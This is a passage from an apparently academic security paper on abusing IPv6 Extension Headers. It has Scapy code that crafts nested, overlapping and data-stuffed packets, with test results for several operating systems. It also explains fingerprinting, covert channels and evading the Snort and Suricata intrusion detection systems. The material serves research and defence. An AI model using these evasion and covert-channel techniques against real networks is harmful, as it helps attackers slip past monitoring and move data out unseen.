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Abstract

In 6th June of 2012, during the so called IPv6 world launch day, major ISPs, significant companies  
around the world, home networking equipment manufacturers (including but not limited to, Akamai,  
AT&T,  Cisco,  Facebook,  Google,  Microsoft  Bing,  Yahoo!,  and  other)  enabled  IPv6  for  their  
products and services permanently, while more are expected to follow. But, are we really ready for  
this major transition from a security perspective? IPv6 introduces new features and capabilities not  
limited to the IPv6 huge address space.  One of them is  the introduction of the IPv6 Extension  
Headers. In this paper, it will be shown that the abuse of IPv6 Extension Headers in a way not  
predicted  by  the  corresponding  RFCs  can  lead  to  significant  security  impacts.  During  our  
experiments, the effectiveness of some of the most popular Operating Systems (Windows 7/2008,  
several  Linuces,  the  latest  FreeBSD  and  OpenBSD)  on  handling  various  malformed  IPv6  
datagrams is examined.  As it will be shown, the abuse of the IPv6 Extension Headers creates new  
attack vectors which can be exploited for various purposes, such as for evading IDS, for creating  
covert channels by hiding data into Extension headers, etc. During our tests, the effectiveness of  
two of the most popular IDS against these attacks is also examined and several ways for evading  
them at the IP level are shown. As it is demonstrated, the launch of any type of attack at the IP layer  
or above (from port scanning to SQLi attacks) without being detected can be achieved by abusing  
IPv6  Extension  headers  “properly”.  Finally,  specific  countermeasures  that  should  be  taken  to  
handle such situations are also proposed.
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1 Introduction
In 6th June of 2012, a milestone in the IP history was reached. It was the IPv6 world launch 

day, the day that major Internet service providers (ISPs), significant web companies around the 
world and home networking equipment manufacturers enabled IPv6 for their products and services 
permanently [WORLDIPV6, 2012]. Major key players in the world, including but not limited to, 
Akamai, AT&T, Cisco, Facebook, Google, Microsoft Bing, Yahoo! and many more, participated in 
this  event  and  consequently,  started  to  offer  their  services  in  IPv6  permanently  too 
[WORLDIPV6PARTICIPANTS, 2012]. Following this day, more companies, organizations, or even 
simple users worldwide have already started to migrate to IPv6, or expected to do so. 

Although very promising, the dawn of this new IP era brings also new challenges, especially as 
far as security is concerned. IPv6 is supported out-of-the-box or it is even pre-enabled in all popular 
Operating Systems (OS), including Windows, Linux, various BSDs, etc, while security hardware 
and software vendors also claim to produce IPv6 ready products for many years now. But, is this  
really the case?

The adoption of any new protocol brings new attack possibilities to the attackers. If this is a 
layer-7 protocols, any security issues will affect only this protocol and the services offered over this. 
On the other hand, layer-3 protocol security issues will affect not only this protocol but also all the  
upper-layer protocols that rely on layer-3. Hence, any security issues in layer-3 protocols can be 
much more disastrous.

Specifically as far as IPv6 is concerned, the security issues that may arise can be classified in 
two categories: Issues that are known from the IPv4 era and may come to surface again in IPv6 
implementation, or, completely new issues stemming from the new capabilities that were added in 
IPv6. A typical example of the first category is the the fragmentation attacks, known from the IPv4 
era  [NEWSHAM, 1998]. For instance, in [ATLASIS, 2012], several IPv6 overlapping methods 
were used to test  the effectiveness of some of the most popular OS. As it  was found, none of 
examined OS is fully RFC compliant while most of them appear to have significant issues, the 
security impact of which was also discussed.

 On the other hand, there are some features which are new and unique to IPv6. One of the most  
significant changes that takes place in IPv6, apart from the expanded addressing capabilities, is the 
improved support for (header) extensions and options [RFC 2460, 1998]. The use of IPv6 Extension 
Headers add flexibility and several more options not existing before in IPv4. But new protocol 
capabilities creates also new attack opportunities. 

In this paper, the (ab)use of the IPv6 Extension headers is examined and the potential new 
security attack vectors that arise from it are presented. To the best of the authors knowledge, it is the 
first time that the security impact of abusing IPv6 Extension Headers is examined. As it will be 
shown, OS vendors fail to create RFC compliant products once more, allowing their exploitation for 
various purposes. Moreover, security devices such as Intrusion Detection Systems (IDS) / Intrusion 
Prevention Systems (IPS) seem to be unprepared to  detect  and thus,  handle these new type of 
attacks.   



2 The IPv6 Extension Headers
In IPv6 header (figure 1) some of the IPv4 header fields (e.g. identification number, fragment 

offset, header checksum, etc.) have been dropped to reduce the common-case processing cost of 
packet handling . However, IPv6 Extension headers have been optionally added to support any extra 
required functionality per case.  These changes bring several advantages,  such as more efficient 
forwarding, less stringent limits on the length of options, and greater flexibility for introducing new 
options in the future.
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Figure 1: The IPv6 Header

These optional IPv6 Extension headers are placed between the IPv6 header and the upper-layer 
header in a packet and each one of them is identified by a distinct 8-bit Next Header value. An IPv6 
packet may carry zero,  one,  or more extension headers (figure 2).  Each extension header is an 
integer multiple of 8 octets long, in order to retain an 8-octet alignment for subsequent headers.  

Figure 2: Structure of an IPv6 datagram

A full implementation of IPv6 includes the use of the following Extension headers  [RFC 2460, 
1998]: 

• Hop-by-Hop Options 

• Routing (Type 0) 

• Fragment 

• Destination Options 

• Authentication 

• Encapsulating Security Payload 

All  IPv6 Extension Headers should occur at most once (except for the Destination Options 
header which should occur at most twice). With one exception (the Hop-by- Hop Options Extension 
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header),  IPv6 Extension  headers  are  not  examined  or  processed  by any node along a  packet's 
delivery path, until the packet reaches its final destination.

When more than one extension header is used in the same packet, it is recommended that those 
headers appear in the following order [RFC 2460, 1998]: 

• IPv6 header 

• Hop-by-Hop Options header

• Destination Options header

• Routing header 

• Fragment header 

• Authentication header 

• Encapsulating Security Payload header

• Destination Options header (for options to be processed only by the final destination of the 
packet.)

• Upper-layer header

If the upper-layer header is another IPv6 header (in the case of IPv6 being tunneled over or 
encapsulated  in  IPv6),  it  may be followed by its  own extension  headers,  which  are  separately 
subject to the same ordering recommendations.

In  this  paper,  the  security  impacts  of  abusing  the  use  of  IPv6  Extension  headers  will  be 
examined. But first of all, in the next section, two of the IPv6 Extension headers that we shall use 
during  our  experiments  will  be  described:  the  Destination  Options  Header  and  the  Fragment 
Extension header. The description of all of them (except from the Authentication header and the 
Encapsulating Security Payload header) can be found in  [RFC 2460, 1998]. However, most of the 
abusing techniques that will be described can also be used with other IPv6 Extension headers as 
well, if adjusted properly.

2.1 The Destination Options header

The Destination Options header is used to carry optional information that need to be examined 
only  by  a  packet's  destination  node(s)  [RFC 2460,  1998].  The  Destination  Options  header  is 
identified by a Next Header value of 60 in the immediately preceding header, and has the following 
format: 

Figure 3: The Destination Options header

“Options” is a variable-length field of length such that the complete Destination Options header 
is an integer multiple of 8 octets long.  It contains one or  more TLV (type-length-value) encoded 
options, as displayed in figure 4.

Figure 4: The Options of the Destination Options Extension header
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The Option Type are encoded such that their highest-order two bits specify the action that must 
be taken if the processing IPv6 node does not recognize the Option Type. These two highest-order 
bits can take the following values.

       00 - skip over this option and continue processing the header. 

       01 - discard the packet. 

    10 -  discard the packet and send an ICMP Parameter Problem, Code 2 message to the 
packet's Source Address. 

 11 - discard the packet and, only if the packet's Destination Address was not a multicast 
address, send an ICMP Parameter Problem, Code 2, message to the packet's Source Address.

It should be noted that the same Option Type numbering space is used for both the Destination 
Options header and the Hop-by-Hop Options header. 

2.2 The Fragment Extension Header

In  IPv6,  the  DF  and  the  MF  bits  have  been  removed  from  the  (main)  header.  Instead, 
fragmentation is  accomplished using an Extension header,  the Fragment Header.  Hence,  all  the 
fragmentation-related  fields  have  been  moved  from  the  IP header  to  the  Fragment  Extension 
Header, except from the DF field, which has been totally removed. That is because, unlike IPv4, in 
IPv6 the  fragmentation is  performed only by the source nodes  and not  by the  routers  along a 
packet's delivery path. 

IPv6 attempts to minimise the use of fragmentation by minimising the supported MTU size as 
well as by allowing only the hosts to fragment datagrams. On the contrary, in IPv4 intermediate  
routers could also perform fragmentation, if required.

Specifically, IPv6 requires that every link in the Internet have an MTU of 1280 octets or greater 
[RFC 2460, 1998]. If this is not the case, (i.e., there is a link in the path that cannot convey a 1280-
octet packet in one piece), link-specific fragmentation and reassembly must be provided at a layer 
below IPv6. 

The Fragment Header, as well as most of the other Extension Headers, are not examined or 
processed by any node along a packet's delivery path, until the packet reaches the node (or each of 
the set of nodes, in the case of multicasting). Finally, the Fragment header, which is identified by a 
Next Header value of 44 in the immediately preceding header, should occur at most once in each 
packet and it has the format presented in figure 5 [RFC 2460, 1998]:

0 7 8 15 16 28 31

Next Header Reserved Fragment Offset Res M

Identification

Figure 5: The IPv6 Fragment Header

In the above figure:

• Next Header  identifies the header type of the next header in this packet (using the same 
values as the IPv4 Protocol field - RFC-1700 et seq.).

• Reserved  is initialized to zero for transmission and it is ignored on reception. 

• Fragment Offset defines the offset, in 8-octet units, of the data following this header relative 
to the start of the fragmentable part of the original packet.



• Res is a 2-bit reserved field, initialized to zero for transmission and ignored on reception. 

• M flag is a bit set to 1 when more fragments will follow or 0 if this is the last fragment, and 

• Identification defines the fragments which belong to the same packet. This number must be 
different than that of any other fragmented packet sent recently (i.e. within the maximum 
likely lifetime of a packet) with the same source address and destination address. 

Each fragment, except possibly the last one, is an integer multiple of 8 octets long. 

3 Abusing the Use of IPv6 Extension Headers
RFCs describe the way that IPv6 Extension Headers has to or sometimes should be used, but in 

either case, this does not mean that the vendors make RFC compliant products. More importantly,  
the fact that RFCs simply recommend how they should be used without even defining how the OS 
should react in a different case, increase the ambiguity of the consequences of an unexpected usage. 
Such ambiguities,  depending on how they are handled  by the OS,  if  exploited  properly by an 
attacker, can lead to various security flaws, from simple OS fingerprinting to IDS evasion.  

In  this  section,  several  ways  of  abusing  IPv6  Extension  headers  will  be  tested  and  the 
corresponding  behaviour  of  some  of  the  most  popular  OS  will  be  examined.  Based  on  the 
observations of this section, we shall discuss potential security implications. But first of all, let's see 
our lab environment. 

3.1 Lab Environment

The tests took place under the default installation of the OS (only the IPv6 addresses were 
configured so as to be connected properly in the lab environment). For our experiments, the most 
representative systems from each OS family were examined. The tested OS are the following:

• Centos 6.3, kernel 2.6.32-279 (a Red-Hat clone)

• Ubuntu 10.04.4 LTS kernel 2.6.32-45

• Windows 7  SP1

• Windows 2008 SP2

• Windows 8

• Ubuntu 12.04.1 LTS, kernel 3.2.0-32

• FreeBSD 9 RELEASE #p3

• OpenBSD 5.1/5.2

The lab environment, including the used OS and the corresponding IPv6 addresses, the network 
connectivity as well as the IDS appliances are presented in figure 6. Especially as far as the IDS 
appliances are concerned, two of the most popular IDS software were used, Snort [SNORT, 2012] 
and  Suricata  [SURICATA,  2012],  deployed,  for  reasons  of  convenience,  on  a  Security  Onion 
platform [SECONION, 2012]. As a front-end to the IDS software, sguil was used [SGUIL, 2012]. 

To create the custom IPv6 datagrams, Scapy 2.2.0-dev was used [SCAPY, 2012]. As a layer-4 
payload, ICMPv6 Echo Requests messages were used, due to their simplicity to trigger responses. 
The  code  used  to  create  these  custom packets  for  the  tests  described  below  can  be  found  in 
Appendix A.



Figure 6: Lab Environment 

The tests that were performed, are summarised below:

• More than one occurrences of various extension headers in atomic fragments.

• Nested fragments.

• Sending the upper-layer protocol header at the second/subsequent fragment.

• Creating overlapping extension headers.

• Transfer of arbitrary data at the IP level.

Each one of these tests is examined in the next subsections.
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3.2 More than one Occurrences of  Various Extension Headers in 
Atomic Fragments

Atomic fragments are the ones whose offset is equal to zero and their M (More Fragments to 
Follow) bit is also equal to zero, implying that this is the first and at the same time, the last fragment 
of a datagram. Although there may not be an obvious reason for allowing such fragments, as it was 
shown in [ATLASIS, 2012], such fragments are accepted by some of the OS.  

In this test we created and sent more than one Extension headers of the same type in a single,  
atomic fragment. As it is recommended in [RFC 2460, 1998], all Extension headers should appear 
only once (except from the Destination Options Header which can appear at most twice). 

The part of the code below can be used to create a single packet with more than on Extension 
Fragment  Headers.  As  it  is  shown,  the  Next  Header value  (nh)  of  all  but  the  last  Fragment 
Extension header is equal to 44, pointing to a Fragment Extension header too.

 ipv6_1=IPv6(src=sip, dst=dip, plen=8*(length+no_of_headers))
 icmpv6=ICMPv6EchoRequest(cksum=csum, data=payload1) 
 frag=IPv6ExtHdrFragment(offset=0, m=0, id=myid, nh=44) 
 frag_last=IPv6ExtHdrFragment(offset=0, m=0, id=myid, nh=58) 
 packet=ipv6_1 
 for i in range(1, no_of_headers): 
 packet=packet/frag 
 packet=packet/frag_last/icmpv6 
 send(packet) 

The results showed all the examined OS but OpenBSD 5.1/5.2 accept such IPv6 datagrams 
(figure 7). Moreover, Ubuntu 10.04, surprisingly enough, sends two ICMPv6 Echo Reply messages 
back,  although  Centos  6.3,  which  also  uses  the  same  linux  kernel,  doesn't  do  so. Thus,  only 
OpenBSD seems to conform with the recommendation of the [RFC 2460, 1998]  concerning the 
number of occurrences of an Extension header in a datagram.

Figure 7: Responses when multiple extension headers of the same type are sent in an atomic  
fragment 

Then, the same test was repeated, but this time, we mixed several types of Extension headers 
multiple  times.  For  example,  the following simple code creates  a  packet  with four  Destination 
Options Extension header and three Fragment Extension headers in an Atomic fragment: 



send(IPv6(src=sip,  dst=dip) \
/IPv6ExtHdrDestOpt() \ 
/IPv6ExtHdrDestOpt() \
/IPv6ExtHdrDestOpt() \
/IPv6ExtHdrFragment (offset=0, m=0) \ 
/IPv6ExtHdrFragment(offset=0,  m=0) \ 
/IPv6ExtHdrDestOpt() \ 
/IPv6ExtHdrFragment(offset=0, m=0) \ 
/ICMPv6EchoRequest()) 

The complete proof-of-concept code can be found in Appendix A.1. The created IPv6 datagram 
is displayed below:

Figure 8: Mixing of Several Occurrences of Various Extension Headers in an Single Atomic Packet.

Again, the results showed that OpenBSD was the only one to respect the recommended by the 
RFC 2460 number of occurrences of the Extension headers in an IPv6 datagram, while Ubuntu 
10.04 again responded back with two ICMPv6 Echo Reply messages (figure 9). 

Figure 9: Responses when multiple extension headers of various types are sent in an atomic  
fragment

3.3 Nested Fragments

Since  we  have  found  that  in  most  of  the  tested  OS  more  than  occurrences  of  the  same 
Extensions header are allowed per datagram, we used this bug (or, ...feature, you name it) to create  
nested fragments. That is, fragments which are split (fragmented) inside other fragments. The code 
used to create such nested fragments is displayed below.  Please, note in the code that the inner 
Fragment  Extension header has a  different Fragment Identification number from the outer one, 
which shows that the inner fragment is different and hence, nested in the outer one. Moreover, the 
outer Fragment Extension header has a Next Header value equal to 44, which implies that the next 
header that follows is a Fragment header. Only the last inner Fragment header has a Next Header 
value equal to 58 (pointing to an ICMPv6 Echo Request header).
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 ipv6_1=IPv6(src=sip, dst=dip, plen=8*2) 
 frag2=IPv6ExtHdrFragment(offset=0, m=0, id=myid2, nh=44) 
 for i in range(0, no_of_fragments): 

frag1=IPv6ExtHdrFragment(offset=i, m=1, id=myid, nh=44) 
packet=ipv6_1/frag1/frag2 
send(packet) 

 frag1=IPv6ExtHdrFragment(offset=no_of_fragments, m=1, id=myid, nh=44) 
 frag2=IPv6ExtHdrFragment(offset=0, m=0, id=myid2, nh=58) 
 packet=ipv6_1/frag1/frag2 
 send(packet) 
 ipv6_1=IPv6(src=sip, dst=dip, plen=8*(length+1)) 
 frag1=IPv6ExtHdrFragment(offset=no_of_fragments+1, m=0, id=myid, nh=44) 
 packet=ipv6_1/frag1/icmpv6 
 send(packet)  

The complete proof-of-concept code can be found in Appendix A.2. Using the above code, the 
following packets of the same datagram are created:

Figure 10: Nested IPv6 Fragments

The results showed that the two Windows and the two Ubuntu systems respond back with an 
ICMPv6 Echo Reply message, while the two BSD systems and Centos 6.3 don't (figure 11). Once 
more, we notice a different behaviour between Centos 6.3 and Ubuntu 10.04, although they use the 
same linux kernel version.

Figure 11: Responses when nested fragments are used
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3.4 Sending the Upper-layer Protocol Header at a Fragment Other Than  
the First

In the next test we send the upper-layer header (e.g. ICMPv6) and its payload in a fragment 
other than the first one. For example, the code displayed below produces three fragments, the two 
first of which include only a Destination Options header and the third one an ICMPv6 Echo Request 
and its payload:

 packet1 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=60) 

 packet2 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=1) \ 
/IPv6ExtHdrDestOpt(nh=58) 

 packet3 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=2, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum, data=payload1) 

 send(packet1) 
 send(packet2) 
 send(packet3)

The complete proof-of-concept code can be found in Appendix A.3. The above sample code 
produces the following fragments:

Figure 12: Upper-Layer Header at a Fragment other than the First One 

Of course, the above code can easily be expanded to more than three fragments using the same 
code. The results showed that OpenBSD 5.1/5.2, the two Ubuntu and the two Windows hosts accept 
the datagrams where the upper-layer header is sent in a fragment other that the first one, while 
FreeBSD 9 and Centos 6.3 don't (figure 13).

Figure 13: Responses when the Upper-Layer Protocol is sent in a subsequent Fragment
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Of course, we can also mix several Extension headers (even of the same type) in each fragment. 
For  example,  the  following  code  produces  two fragments,  the  first  of  which  includes  five  (5) 
Destination Options Extension headers. 

 
 packet1 = IPv6(src=sip, dst=dip) \ 

/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60) \ 
/IPv6ExtHdrDestOpt(nh=58) 

 packet2 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=5, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum, data=payload1) 

 send(packet1) 
 send(packet2) 

The complete proof-of-concept code can be found in Appendix A.4. In these tests it was only 
the FreeBSD 9 that does not accept these malformed packets (figure 14).  

Figure 14: Responses when the Upper-Layer Protocol is sent in the 2nd Fragment while various  
Extension Headers are Mixed 

3.5 Creating Overlapping Extension headers

Now, the tests  of  the previous sub-section are repeated by setting the  offset  of  the second 
fragment equal to 0 (resulting in Extensions Headers' overlapping). We should note that this is not a 
simple case of overlapping known by the IPv4 era, since, in this case, layer-3 protocol headers are 
actually overlapped, instead of layer-4 and higher, as it was the case in IPv4. A sample code that 
creates two such fragments the second of which overlaps an Extension header of a first one, is 
displayed below: 

send(IPv6(src=sip, dst=dip)/IPv6ExtHdrFragment(offset=0, m=1)/IPv6ExtHdrDestOpt(nh=58)) 
send(IPv6(src=sip, dst=dip)/IPv6ExtHdrFragment(offset=0, m=0)/ICMPv6EchoRequest()) 

The complete proof-of-concept code can be found in Appendix A.5.  The results showed that 
only the three Linux hosts accept these malformed packets (figure 15). Moreover, Ubuntu 10.04, 



again responds back with two Echo Reply messages. 

Figure 15: Responses when the Second Fragment Overlaps the Extension Headers of the First

In the case that the third fragment overlaps an Extension header of the second one, only Centos 
6.3 and Ubuntu 10.04 accept the malformed packets (figure 16). The code used to create these 
packets is displayed below:

packet1 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=58) 

packet2 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=1, nh=58) \ 
/IPv6ExtHdrDestOpt(nh=58) 

packet3 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum, data=payload1) 

send(packet1) 
send(packet2) 
send(packet3)

The complete proof-of-concept code can be found in Appendix A.6.

Figure 16: Responses when the Third Fragment Overlaps the Extension Headers of the Second

We can also create three fragments with the third one overlapping an IPv6 Extension header of 
the first one, using the sample code displayed below:



packet1 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=58) 

 packet2 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=1, m=1, nh=58) \ 
/IPv6ExtHdrDestOpt(nh=58) 

 packet3 = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=0, nh=58) \ 
/ICMPv6EchoRequest(cksum=csum, data=payload1) 

 send(packet1) 
 send(packet2) 
 send(packet3)

The complete proof-of-concept code can be found in Appendix A.7.

In this case the results showed that all the Linux systems (Centos 6.3 and the two Ubuntu)  
respond back to such malformed packets (figure 17). Moreover, once more, Ubuntu 10.04 sends 
back two responses.

Figure 17: Responses when the Third Fragment Overlaps the Extension Headers of the First

The overlapping of  IPv6 Extension  headers  creates  new attack vectors.  Further  research is 
needed  towards  this  direction  to  discover  the  consequences  of  their  exploitation.  It  should  be 
reminded though that  according to  [RFC 5722,  2009],  IPv6 Fragmentation Overlapping should 
NOT be accepted at all by the OS.

3.6 Transfer of arbitrary data at the IP level

The IPv4 packet header consists of 14 fields, the 14th of which is optional. The length of the 
IPv4 “Options” vary from 0 to 40 bytes. This IPv4 field has been used for various “malicious” 
purposes  and for  this  reason,  in  OpenBSD for  example PF blocks  packets  with IP options  set 
(http://www.openbsd.org/faq/pf/filter.html).

As we know, in IPv6 header the Options field has been totally removed and its length is now 
limited to 40 bytes. As we also know, the use of the IPv6 Extension headers has been added to 
introduce,  if  and  when  required,  new  functionality  to  IPv6  datagrams.  These  IPv6  Extension 
headers serve very specific purposes.  

However, at least two of them, the IPv6 Destination Options Extension header and the Hop-by-
Hop Options header carry a variable number of type-length-value (TLV) encoded "options" (see 
subsection 2.1). The 1st field of these headers is the Option Type. If the two highest-order bits are 
equal to 01, according to RFC 2460 the recipient should discard the packet. This means that if we 
put arbitrary data into such a header using this specific Options Type, this data will be transferred 
even if they do not form a valid packet.

To demonstrate such a case, we use the sample code quoted below (the optdata include 150 'A's 

http://www.openbsd.org/faq/pf/filter.html


and 15 'B's). 

packet = IPv6(src=sip, dst=dip) \ 
/IPv6ExtHdrDestOpt(options=PadN(optdata='\101'*120) \ 
/PadN(optdata='\102'*150) \ 
/PadN(optdata='\103'*15)) \ 
/ICMPv6EchoRequest()

send(packet)

The complete proof-of-concept code can be found in Appendix A.8.

The results are displayed in figure 18. In this same screenshot, the ICMPv6 Echo Requests 
messages are also displayed, in one of which the Destination Options header has been highlighted to 
show its arbitrary contents. As the results show, all the tested OS replied to such a packet with an 
ICMPv6  Echo  Reply  message.  Perhaps  this  is  not  a  bug,  since  this  is  what  the  RFC2460 
recommends, but as it will be discussed later, it has its own security impact. 

Figure 18: Responses when Arbitrary Data are Transferred in the Destination Options header

We can expand the above concept by using several different fragments, each one of which has a 
Destination Option headers. A code that produces three such fragments is displayed below:

Arbitrary content 
carried in Destination 
Options header. 



packet1 = IPv6(src=sip,dst=dip) \ 
/IPv6ExtHdrFragment(offset=0, m=1) \ 
/IPv6ExtHdrDestOpt(nh=60,options=PadN(optdata='\101'*120)/PadN(optdata='\1

02'*150)) 
packet2 = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=35,m=1,nh=60) \ 
/IPv6ExtHdrDestOpt(nh=60,options=PadN(optdata='\101'*120)/PadN(optdata='\1

02'*150)) 
packet3 = IPv6(src=sip,dst=dip) \ 

/IPv6ExtHdrFragment(offset=70,m=0,nh=60) \ 
/IPv6ExtHdrDestOpt(nh=58,options=PadN(optdata='\101'*120)/PadN(optdata='\1

02'*150)) \ 
/ICMPv6EchoRequest() 

send(packet1) 
send(packet2) 
send(packet3)

The complete proof-of-concept code can be found in Appendix A.9.

In this test (figure 19), all the OS but Centos 6.3 and FreeBSD 9 reply back with an ICMPv6 
Echo Reply message. And if in the single packet this seemed normal, according to RFC 2460, this is 
not the case for this last test since in the last, reassembled datagram, there will be more than two 
Destination Option header fragments.

Figure 19: Responses when Arbitrary Data are Transferred in Fragmented, Destination Options  
header

The consequences of all the pre-described tests will be discussed in the next section.

3.7 Summary of the Different Ways that the Tested OS Respond to the 
Misuse of the IPv6 Extension Headers

All the aforementioned tests as well as the corresponding behaviour and responses of the tested 
OS are summarised in table 1.

Having a quick look at this table and if we exclude case 8 (transferring of “large” amount of 
arbitrary data at the IP level) which is the same for all OS and which should be considered as  
normal, we conclude that:

• Combining several of the above tests can lead to a unique combination of OS responses and 
hence, identification of the targeted OS. 



Centos 6.3
2.6.32-279

Ubuntu 
10.04.4

2.6.32-45

Ubuntu 
12.04.1 
3.2.0-32

FreeBSD 
9-p3

OpenBSD 
5.1/5.2

Windows 
7/8/2008

1. Mixing Multiple and Various 
Extension Headers per datagram in 
atomic fragments

√ √ * √ √ √

2. Nested fragments √ √ √

3.Upper-layer Protocol Header at  
Fragment other than the  1st

√ √ √ √

4. Upper-layer Protocol Header at the 
2nd Fragment and Mixing Multiple 
Extension headers at the 1st  

√ √ √ √ √

5 Upper-layer Protocol Header at the 
2nd Fragment with Extension Headers 
Overlapping

√ √ * √

6 Upper-layer Protocol Header at the 
Third Fragment with the 3rd fragment 
overlapping the 2nd 

√ √ 

7 Upper-layer Protocol Header at the 
Third  Fragment with the 3rd fragment 
overlapping the 1st 

√ √  * √

8 Transfer of “large” amount of 
arbitrary data at the IP level

√ √ √ √ √ √

9 Transfer of “large” amount of 
fragmented arbitrary data at the IP 
level

√ √ √ √

*  Ubuntu 10.04 LTS responds twice (sends to ICMPv6 Echo Reply messages back to a single ICMPv6 Echo Request message).

Table 1: Summary of the Different Ways that the Tested OS Respond to the Misuse of the IPv6  
Extension Headers

• Ubuntu 10.04 with linux kernel 2.6.32 appears to have the worst behaviour, since it accepts 
all the tested malformed packets. If someone considers that this is not that important since 
this linux kernel is quite “old”, we may change our mind taking into consideration that some 
of the most popular Enterprise OS and servers belong to this family. Moreover, although 
Centos 6.3 uses the same kernel version, it appears to be immune to some of the attacks. 
Thus, it seems that the customisation made by some of the Linux vendors to the linux kernel 
affect their behaviour sometimes.

• Moreover, Ubuntu 10.04 shows a unique behaviour: It replies with two (2) ICMPv6 Echo 
Reply messages in some of the cases that it responds to malformed IPv6 packages.

• On the other  hand, it  is  only FreeBSD 9 that  appears to  accept  a malformed packet  of 
misused IPv6 Extension headers only in one case. Hence, it appears to have (again, if we 
also take into consideration the results  of [ATLASIS,  2012]) the most  robust  behaviour 
among the tested OS. 

It should be noted that the above where just some of the tests among the possible ones where a 
source,  for  malicious  purposes  or  not,  constructs  a  packet  that  does  not  conform  with  the 
corresponding RFCs. Using our imagination and a similar code, we may construct packets that will 



identify other issues as well.

4 Security Impacts of the Misuse of the IPv6 Extension 
Headers
Based on the observations summarised above, in this  section we shall  discuss some of the 

potential consequences and the security impact of the pre-described identified issues.

4.1 OS Fingerprinting

The most obvious consequence of the aforementioned OS behaviour is to exploit their different 
responses in each one of the described tests in order to fingerprint the target. Some of them, like 
Ubuntu 10.04, appear to have a unique behaviour in some of the tests. Hence, these are easily 
identified. In any case, if someone combines several such tests, he can identify at least the family of 
the targeted OS. Of course, several other OS and flavors/spins of the already tested OS must also be 
examined. Moreover, these tests must can be combined with other, more typical tests (e.g. the one 
where IPv4 or TCP tests are used) to increase the accuracy of the results. In any case, such mis-
behaviours of an OS to malformed (regarding the use of Extension headers) IPv6 packets helps 
towards the direction of OS fingerprinting. 

4.2 Creation of Covert Channels at the IP level

Hiding traffic into IPv6 datagrams has been used for many years. The most popular method is 
to hide them into the upper-layer  protocol's  payload (for example,  into ICMP, HTTP or DNS). 
Although this is easy, such a traffic can also be easily detected and several tools exist that identify 
such tunneled traffic.  Several  fields in  lower layer  protocols have also been used for the same 
purpose (e.g. the “Options” field in the IPv4 header), but usually, such fields do not offer significant 
space to hide data (e.g. 40 bytes per IPv4 datagram in this last example). 

The  introduction  of  the  Extension  headers  in  IPv6,  apart  from  the  added  flexibility  and 
functionality, it also opens new avenues towards this direction. As it was shown in subsection 3.6, 
the Destination Options Extension header can transfer successfully arbitrary data and such packets 
are accepted from all the tested OS. And even more importantly, this data can be up to 256 bytes per 
IPv6 Extension header (taking into account that the “Option Data Length” field of this header is an 
8-bit unsigned integer). If we combine several such IPv6 Extension headers in a datagram (which is 
feasible in most of the cases, as it was shown in our first test in subsection 3.2), then the amount of 
data that can be transferred per IPv6 datagrams increases significantly.

IPv6 is already here, and especially if you have Windows, you have Teredo already configured 
for you! Hence, tunneling traffic via IPv6 Destination Option headers from an unsuspecting victim's 
workstation, is more than feasible.

4.3 Evading Intrusion Detection Systems

IDS evasion is another field in which such discrepancies in OS behaviour can be exploited for. 
An IDS evasion takes place when an end-system accepts a packet that an IDS rejects. As it  is 
explained in [NEWSHAM 1998], an IDS that mistakenly rejects such a packet misses its content 
entirely,  resulting  in  slipping  through  the  IDS.  Evasion  attacks  disrupt  stream  reassembly  by 
causing the IDS to miss part of it. 

There are also the  insertion attacks, which take place when an IDS accepts a packet that the 
end-system rejects. An IDS that does this makes the mistake of believing that the end-system has 
accepted and processed the packet when it actually hasn't. An attacker, by manipulating the sending 
packets properly, can use this type of attacks to defeat signature analysis and to pass undetected 



through an IDS. However, such attacks are exploited more difficulty than evasion attacks.  

In this subsection, we shall use the methods described in Section 3 to evade  two of the most 
popular IDS, snort [SNORT, 2012] and Suricata [SURICATA, 2012]. To this end, we used the lab 
environment displayed in figure 6. Of course, these methods can also be used to evade other IDS 
devices too. 

To simplify our tests,  we enabled a rule that detects  simple ICMPv6 Echo Requests (a.k.a. 
ping6)  messages.  Assuming that  our  attack is  to  send such messages to  our  target  and receive 
ICMPv6 Echo Reply back from them, our goal is to launch our attack and trigger ICMPv6 Echo 
Reply messages from our targets without being detected from the IDS. To this end, each one of the 
tests of table 1 were repeated to identify the way the IDS detects (or not) each specific attack. 

4.3.1 Test Results for Snort

In table 2, the results for the Snort IDS are summarised.

Tests Alert(s) issued by Snort IDS

1. Mixing Multiple and Various Extension 
Headers per datagram in atomic fragments

frag:3: Bogus fragmentation packet. Possible BSD 
attack

2.Nested fragments frag:3: Bogus fragmentation packet. Possible BSD 
attack
frag3; Fragments smaller than configured 
min_gragment_length

3.Upper-layer Protocol Header at the 
Second/Subsequent Fragment

ICMP-INFO ICMPv6 Echo Request

4. Upper-layer Protocol Header at the Second 
Fragment and Mixing Multiple Extension 
headers at the 1st  

ICMP-INFO ICMPv6 Echo Request

5 Upper-layer Protocol Header at the 2nd 
Fragment with Extension Headers Overlapping

frag:3: Bogus fragmentation packet. Possible BSD 
attack
frag 3: Fragmentation overlap

6 Upper-layer Protocol Header at the Third  
Fragment with the 3rd fragment overlapping the 
2nd 

frag 3: Fragmentation overlap
frag 3: Fragments smaller than configured 
min_fragment length

7 Upper-layer Protocol Header at the Third  
